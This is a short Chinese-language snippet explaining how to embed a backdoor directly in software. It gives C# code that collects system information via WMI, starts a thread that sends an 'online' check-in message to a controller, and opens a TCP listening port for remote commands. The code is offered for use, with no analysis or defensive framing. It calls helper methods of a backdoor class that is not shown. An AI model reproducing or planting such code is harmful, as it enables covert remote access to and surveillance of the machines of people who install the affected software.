直接在软件中做为后门的使用办法：

BD.Online_Order += Globle.Software + "||"; 
//调用WMI收集系统信息 
BD.Get_ComputerInfo(); 
//发送上线请求 - [多线程] 
Thread thread = new Thread(new ThreadStart(BD.Post_Online_Message)); 
thread.Start(); 
//自身监听端口 - [多线程] 
BD.Lis = new TcpListener(Globle.Lis_Port); 
BD.Lis.Start();  //一直监听 
Thread thread_Lis_MySelf = new Thread(new ThreadStart(BD.Listen_Port)); 
thread_Lis_MySelf.Start();

这样就启动了。
